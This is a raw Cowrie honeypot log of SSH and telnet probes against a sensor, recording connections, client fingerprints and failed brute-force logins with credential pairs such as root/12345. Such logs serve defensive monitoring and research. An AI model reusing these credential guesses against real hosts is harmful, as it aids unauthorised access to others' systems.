{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:44.574471Z","src_ip":"222.99.31.54","session":"4c43ef2fd790","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:45.482187Z","src_ip":"222.99.31.54","session":"4c43ef2fd790","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":36372,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bcea4655767","protocol":"ssh","message":"New connection: 80.94.92.234:36372 (10.17.0.5:22) [session: 4bcea4655767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:55.981301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:56.019144Z","src_ip":"80.94.92.234","session":"4bcea4655767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:56.151963Z","src_ip":"80.94.92.234","session":"4bcea4655767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:57.015331Z","src_ip":"80.94.92.234","session":"4bcea4655767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":34206,"dst_ip":"10.17.0.5","dst_port":22,"session":"44feff639c4a","protocol":"ssh","message":"New connection: 185.243.11.39:34206 (10.17.0.5:22) [session: 44feff639c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:57.549320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:57.555351Z","src_ip":"185.243.11.39","session":"44feff639c4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:57.688678Z","src_ip":"185.243.11.39","session":"44feff639c4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fiji","password":"Suva#Ethereum@P@ssw0rd","message":"login attempt [fiji/Suva#Ethereum@P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:58.113511Z","src_ip":"185.243.11.39","session":"44feff639c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:58.735314Z","src_ip":"80.94.92.234","session":"4bcea4655767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:59.262959Z","src_ip":"185.243.11.39","session":"44feff639c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.187108516693115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:06.136190Z","src_ip":"72.167.226.244","session":"a2e6e7f5691b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.7361695766449,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:16.542632Z","src_ip":"222.99.31.54","session":"4c43ef2fd790","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.99.31.54","src_port":56232,"dst_ip":"159.203.135.109","dst_port":23,"session":"e496f790c4d3","protocol":"telnet","message":"New connection: 222.99.31.54:56232 (159.203.135.109:23) [session: e496f790c4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:16.745792Z"}
{"eventid":"cowrie.login.failed","username":"b'\\xcc\\xd1\\xd1\\xca'","password":"b'\\x86\\x86\\x86\\x86\\x86\\x86\\x86\\x86'","message":"login attempt [b'\\xcc\\xd1\\xd1\\xca'/b'\\x86\\x86\\x86\\x86\\x86\\x86\\x86\\x86'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:17.606215Z","src_ip":"222.99.31.54","session":"e496f790c4d3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:18.534014Z","src_ip":"222.99.31.54","session":"e496f790c4d3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:19.441926Z","src_ip":"222.99.31.54","session":"e496f790c4d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00628685951233,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:43.477748Z","src_ip":"137.184.5.188","session":"da28125f1aee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.80540418624878,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:50.551075Z","src_ip":"222.99.31.54","session":"e496f790c4d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.99.31.54","src_port":57075,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c73e0c2815e","protocol":"telnet","message":"New connection: 222.99.31.54:57075 (159.203.135.109:23) [session: 3c73e0c2815e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:50.742840Z"}
{"eventid":"cowrie.login.failed","username":"b'\\x8f\\x8c\\x8d\\x8a'","password":"b'\\x8f\\x8c\\x8d\\x8a'","message":"login attempt [b'\\x8f\\x8c\\x8d\\x8a'/b'\\x8f\\x8c\\x8d\\x8a'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:51.591141Z","src_ip":"222.99.31.54","session":"3c73e0c2815e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":41820,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7748d7e1c64","protocol":"ssh","message":"New connection: 143.20.185.207:41820 (159.203.135.109:22) [session: e7748d7e1c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:51.599001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:51.633172Z","src_ip":"143.20.185.207","session":"e7748d7e1c64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:51.714958Z","src_ip":"143.20.185.207","session":"e7748d7e1c64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS#4VCPU8GBAMD","message":"login attempt [root/undefinedVPS#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:52.309469Z","src_ip":"143.20.185.207","session":"e7748d7e1c64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:52.494422Z","src_ip":"222.99.31.54","session":"3c73e0c2815e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:53.394228Z","src_ip":"222.99.31.54","session":"3c73e0c2815e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:51:53.424114Z","src_ip":"143.20.185.207","session":"e7748d7e1c64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":55552,"dst_ip":"10.17.0.5","dst_port":22,"session":"c32ab5e35ee2","protocol":"ssh","message":"New connection: 101.36.119.203:55552 (10.17.0.5:22) [session: c32ab5e35ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:06.122147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:06.125834Z","src_ip":"101.36.119.203","session":"c32ab5e35ee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:06.342637Z","src_ip":"101.36.119.203","session":"c32ab5e35ee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456.","message":"login attempt [root/root123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:07.246792Z","src_ip":"101.36.119.203","session":"c32ab5e35ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:08.466553Z","src_ip":"101.36.119.203","session":"c32ab5e35ee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":47672,"dst_ip":"159.203.135.109","dst_port":23,"session":"be9104a656c3","protocol":"telnet","message":"New connection: 137.184.5.188:47672 (159.203.135.109:23) [session: be9104a656c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:14.520336Z"}
{"eventid":"cowrie.session.closed","duration":33.813801765441895,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:24.556513Z","src_ip":"222.99.31.54","session":"3c73e0c2815e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.99.31.54","src_port":57795,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbf365808586","protocol":"telnet","message":"New connection: 222.99.31.54:57795 (159.203.135.109:23) [session: fbf365808586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:24.752185Z"}
{"eventid":"cowrie.login.failed","username":"b'\\xcc\\xd1\\xd1\\xca'","password":"b'\\xd7\\xce\\xdd\\x89\\x8f\\xdf'","message":"login attempt [b'\\xcc\\xd1\\xd1\\xca'/b'\\xd7\\xce\\xdd\\x89\\x8f\\xdf'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:25.597808Z","src_ip":"222.99.31.54","session":"fbf365808586","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:26.482196Z","src_ip":"222.99.31.54","session":"fbf365808586","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:27.365947Z","src_ip":"222.99.31.54","session":"fbf365808586","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":50300,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3a35e4bd006","protocol":"ssh","message":"New connection: 162.214.159.200:50300 (159.203.135.109:22) [session: e3a35e4bd006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:53.648086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:53.651151Z","src_ip":"162.214.159.200","session":"e3a35e4bd006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:53.732719Z","src_ip":"162.214.159.200","session":"e3a35e4bd006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P0lk@d0t!S3cur3","message":"login attempt [root/P0lk@d0t!S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:53.979007Z","src_ip":"162.214.159.200","session":"e3a35e4bd006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:55.348593Z","src_ip":"162.214.159.200","session":"e3a35e4bd006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.793445348739624,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:58.545522Z","src_ip":"222.99.31.54","session":"fbf365808586","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.99.31.54","src_port":58428,"dst_ip":"159.203.135.109","dst_port":23,"session":"23161fa8326e","protocol":"telnet","message":"New connection: 222.99.31.54:58428 (159.203.135.109:23) [session: 23161fa8326e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:58.742488Z"}
{"eventid":"cowrie.login.failed","username":"b'\\xcd\\xcb\\xce\\xce\\xd1\\xcc\\xca'","password":"b'\\xcd\\xcb\\xce\\xce\\xd1\\xcc\\xca'","message":"login attempt [b'\\xcd\\xcb\\xce\\xce\\xd1\\xcc\\xca'/b'\\xcd\\xcb\\xce\\xce\\xd1\\xcc\\xca'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:52:59.595319Z","src_ip":"222.99.31.54","session":"23161fa8326e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:00.479219Z","src_ip":"222.99.31.54","session":"23161fa8326e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":39616,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a1f6edc94b9","protocol":"ssh","message":"New connection: 85.215.121.209:39616 (10.17.0.5:22) [session: 0a1f6edc94b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:00.768555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:00.772691Z","src_ip":"85.215.121.209","session":"0a1f6edc94b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:00.863773Z","src_ip":"85.215.121.209","session":"0a1f6edc94b9","protocol":"ssh"}
